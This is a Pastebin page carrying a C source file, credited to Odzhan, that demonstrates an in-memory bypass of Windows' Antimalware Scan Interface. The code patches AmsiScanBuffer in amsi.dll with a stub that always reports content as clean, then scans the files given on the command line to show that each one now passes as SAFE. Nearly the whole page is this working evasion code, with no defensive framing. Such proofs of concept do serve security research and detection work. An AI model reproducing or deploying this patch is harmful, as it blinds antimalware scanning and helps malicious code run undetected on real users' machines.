Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- /**
- BSD 3-Clause License
- Copyright (c) 2019 Odzhan. All rights reserved.
- Redistribution and use in source and binary forms, with or without
- modification, are permitted provided that the following conditions are met:
- * Redistributions of source code must retain the above copyright notice, this
- list of conditions and the following disclaimer.
- * Redistributions in binary form must reproduce the above copyright notice,
- this list of conditions and the following disclaimer in the documentation
- and/or other materials provided with the distribution.
- * Neither the name of the copyright holder nor the names of its
- contributors may be used to endorse or promote products derived from
- this software without specific prior written permission.
- THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
- AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
- IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
- DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
- FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
- DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
- SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
- CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
- OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
- OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
- */
- #include <windows.h>
- #include <amsi.h>
- #include <stdio.h>
- // fake function that always returns S_OK and AMSI_RESULT_CLEAN
- static HRESULT AmsiScanBufferStub(
- HAMSICONTEXT amsiContext,
- PVOID buffer,
- ULONG length,
- LPCWSTR contentName,
- HAMSISESSION amsiSession,
- AMSI_RESULT *result)
- {
- *result = AMSI_RESULT_CLEAN;
- return S_OK;
- }
- static VOID AmsiScanBufferStubEnd(VOID) {}
- static BOOL PatchAmsi(VOID) {
- BOOL patched = FALSE;
- HMODULE amsi;
- DWORD len, op, t;
- LPVOID cs;
- // load amsi
- amsi = LoadLibrary("amsi");
- if(amsi != NULL) {
- // resolve address of function to patch
- cs = GetProcAddress(amsi, "AmsiScanBuffer");
- if(cs != NULL) {
- // calculate length of stub
- len = (ULONG_PTR)AmsiScanBufferStubEnd -
- (ULONG_PTR)AmsiScanBufferStub;
- // make the memory writeable
- VirtualProtect(cs, len, PAGE_EXECUTE_READWRITE, &op);
- // over write with stub
- memcpy(cs, &AmsiScanBufferStub, len);
- patched = TRUE;
- // set back to original protection
- VirtualProtect(cs, len, op, &t);
- }
- }
- return patched;
- }
- typedef HRESULT (WINAPI *AmsiInitialize_t)(
- LPCWSTR appName,
- HAMSICONTEXT *amsiContext);
- typedef HRESULT (WINAPI *AmsiScanBuffer_t)(
- HAMSICONTEXT amsiContext,
- PVOID buffer,
- ULONG length,
- LPCWSTR contentName,
- HAMSISESSION amsiSession,
- AMSI_RESULT *result);
- typedef void (WINAPI *AmsiUninitialize_t)(
- HAMSICONTEXT amsiContext);
- BOOL IsMalware(const char *path) {
- AmsiInitialize_t _AmsiInitialize;
- AmsiScanBuffer_t _AmsiScanBuffer;
- AmsiUninitialize_t _AmsiUninitialize;
- HAMSICONTEXT ctx;
- AMSI_RESULT res;
- HMODULE amsi;
- HANDLE file, map, mem;
- HRESULT hr = -1;
- DWORD size, high;
- BOOL malware = FALSE;
- // load amsi library
- amsi = LoadLibrary("amsi");
- // resolve functions
- _AmsiInitialize =
- (AmsiInitialize_t)
- GetProcAddress(amsi, "AmsiInitialize");
- _AmsiScanBuffer =
- (AmsiScanBuffer_t)
- GetProcAddress(amsi, "AmsiScanBuffer");
- _AmsiUninitialize =
- (AmsiUninitialize_t)
- GetProcAddress(amsi, "AmsiUninitialize");
- // return FALSE on failure
- if(_AmsiInitialize == NULL ||
- _AmsiScanBuffer == NULL ||
- _AmsiUninitialize == NULL) {
- printf("Unable to resolve AMSI functions.\n");
- return FALSE;
- }
- // open file for reading
- file = CreateFile(
- path, GENERIC_READ, FILE_SHARE_READ,
- NULL, OPEN_EXISTING,
- FILE_ATTRIBUTE_NORMAL, NULL);
- if(file != INVALID_HANDLE_VALUE) {
- // get size
- size = GetFileSize(file, &high);
- if(size != 0) {
- // create mapping
- map = CreateFileMapping(
- file, NULL, PAGE_READONLY, 0, 0, 0);
- if(map != NULL) {
- // get pointer to memory
- mem = MapViewOfFile(
- map, FILE_MAP_READ, 0, 0, 0);
- if(mem != NULL) {
- // scan for malware
- hr = _AmsiInitialize(L"AMSI Example", &ctx);
- if(hr == S_OK) {
- hr = _AmsiScanBuffer(ctx, mem, size, NULL, 0, &res);
- if(hr == S_OK) {
- malware = (AmsiResultIsMalware(res) ||
- AmsiResultIsBlockedByAdmin(res));
- }
- _AmsiUninitialize(ctx);
- }
- UnmapViewOfFile(mem);
- }
- CloseHandle(map);
- }
- }
- CloseHandle(file);
- }
- return malware;
- }
- int main(int argc, char *argv[]) {
- int i;
- if(!PatchAmsi()) {
- printf("unable to patch Amsi.\n");
- return 0;
- }
- for(i=1; i<argc; i++) {
- // skip directories
- if(GetFileAttributes(argv[i]) & FILE_ATTRIBUTE_DIRECTORY) continue;
- // verify file
- printf("%-8s : %s\n",
- IsMalware(argv[i]) ? "HARMFUL" : "SAFE",
- argv[i]);
- }
- return 0;
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement